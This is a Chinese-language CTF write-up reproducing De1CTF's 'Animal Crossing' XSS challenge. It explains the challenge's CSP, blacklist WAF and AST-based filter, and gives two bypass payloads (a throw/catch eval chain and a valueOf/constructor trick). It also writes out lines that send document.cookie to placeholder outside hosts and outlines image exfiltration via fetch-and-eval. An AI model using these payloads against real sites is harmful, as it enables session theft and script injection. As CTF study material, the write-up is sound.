De1CTF Animal Crossing 复现

记录复现DE1CTF 的Animal Crossing

Animal Crossing

题目是一个可以自己编辑的通行证,然后可以将编辑好的链接发送给管理员,那么就应该是xss打cookie了.

image-20200514120745790

首先发现存在CSP

1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

上述CSP可以利用location.href = "http://dddddd"+document.cookie来绕过.

经过测试发现对island和image和fruit都进行了编码,然后对data数据进行了检测,比赛时没有探测出检测的规则(其实时不会xss),赛后看了官方的writeup知道题目设置了两层waf

第一层:黑名单检测

1
2
3
4
5
6
7
8
9
10
11
12
var blackList = []string{
//global
"document", "window", "top", "parent", "global", "this",
//func
"console", "alert", "log", "promise", "fetch", "eval", "import",
//char
"<", ">", "`", "\\*", "&", "#", "%", "\\\\",
//key
"if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string",
//string
"href", "location", "url", "cookie", "src",
}

黑名单的绕过思路无非避开被ban的字符串和字符,这里因为go的iris框架问题(看不出来是golang吧),导致;后的东西会被删掉,可以用%0a绕过

第二层:静态语法分析

1
2
3
4
5
6
7
8
9
1. 将data传入`fmt.Sprintf("'%s';", data)`,然后进行语法解析,这里parse失败直接ban
2. 接着遍历AST进行分析:
1. VariableExpression/AssignExpression,所有声明语句/赋值语句直接ban
2. CallExpression,所有函数调用的,且callee不为Identifier的直接ban
1. ban:`test.test()`、`a[x]()`
2. pass:`test()`
3. BracketExpression,也就是成员引用,Member不为Identifier的直接ban,
1. ban:`a[1]`、`a['xx']`
2. pass:`a[x]`

这一层waf,其实只要摸清ban的套路,针对性找到没被处理的语法来绕过即可,这里我的预期解是用throw传递变量,但是还有很多其他能用的语法(事实证明确实有很多)

有黑名单的检测还有对语法的检测,这里如果解析语法出错直接ban,然后禁止声明和赋值语句,

VariableExpression(变量表达式)

image-20200514175330303

AssignExpression(赋值语句)

image-20200514183823187

Identifier(标识符)

image-20200514183717571

CallExpression(调用表达式)

image-20200514183650960

BracketExpression(括号表达式,就是成员引用)

image-20200514183743248

综上,在data中不能出现

1
2
3
4
5
let a = 'dd';
a = "ddddd";
window.open("dd");
window['open']("dd");
等等之类的

这里现贴上出题人的payload

1
YWxlcnQoMSk=%27%0atry{throw%20%27ev%27%2b%27al%27}catch(e){try{throw%20frames[e]}catch(c){c(atob(data))}}%0a//

alert(1)>>>>>>>>>>>>>>>>>>>>>>>>>>>>>YWxlcnQoMSk=

image-20200514200937385

把题目里的部分代码抠出来,出题人的payload如下图所示:

image-20200514210649103

1
2
3
4
5
6
7
8
9
10
11
data='YWxlcnQoMSk='
try {
throw 'ev' + 'al'
} catch(e) {
try {
throw frames[e]
} catch(c) {
c(atob(data))
}
}
//

测试发现确实能够绕过waf,之前也没有用过go,所以出题人的这句话没清楚什么意思,有知道的师傅可以给我讲讲。

这里因为go的iris框架问题(看不出来是golang吧),导致;后的东西会被删掉,可以用%0a绕过

location.href = "http://vps:8888/?flag="+document.cookiebase64编码,然后发过去

另外记录下一叶飘零师傅的payload,感觉采用的方法和NPUCTF的验证🐎那道题很像,先贴出payload

1
data='||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27YWxlcnQoMSk=%27))}%2b1//

image-20200514230451345

原理是利用

在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,

从之前的验证码那题可以知道,Math+1会因为Object与字符串拼接后原型会变成String,然后String的constructor为Function,这里利用new ''.constructor.constructor(atob('YWxlcnQoMSk='))得到一个函数,但是不能自动执行,

image-20200514231244338

从前面也看到waf ban了test.test()这种形式的函数,然后就可以利用前面的trick来进行函数的触发,如下图所示:

image-20200514231918146

然后将

1
2
3
btoa('location="http://ip/?flag="+document.cookie')

/passport?image=%2Fstatic%2Fhead.jpg&island=mount&fruit=&name=mount&data='||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd%27))}%2b1//

在本地用docker复现时老是报500,遂罢。

这样这得到了半个flag,然后要得到后半部分要读出服务器的400张图片,这点可以通过读取document.body.innerHTML来得到,然后后面有三种方法去得到这400张图片

法一:

  1. 将截图库放到png,上传到/upload,绕过CSP,执行截图库
  2. 然后利用fetch(/static/images/xxxxxxxxx.png).then(res=>res.text()).then(txt=>eval(txt))执行

法二:

用for循环把400个图全部传到/upload,获取400个图片地址然后回传

法三:

直接读取图片回传,可以是写脚本一张一张传,也可以是用for循环批量传,但是回传过程需要编码转换,传回去后也需要再转成图片进行拼接

参考

https://www.codemonster.cn/2020/05/06/2020-de1ctf-animal-crossing-writeup/#more

https://www.4hou.com/posts/EGlN

https://segmentfault.com/a/1190000015660623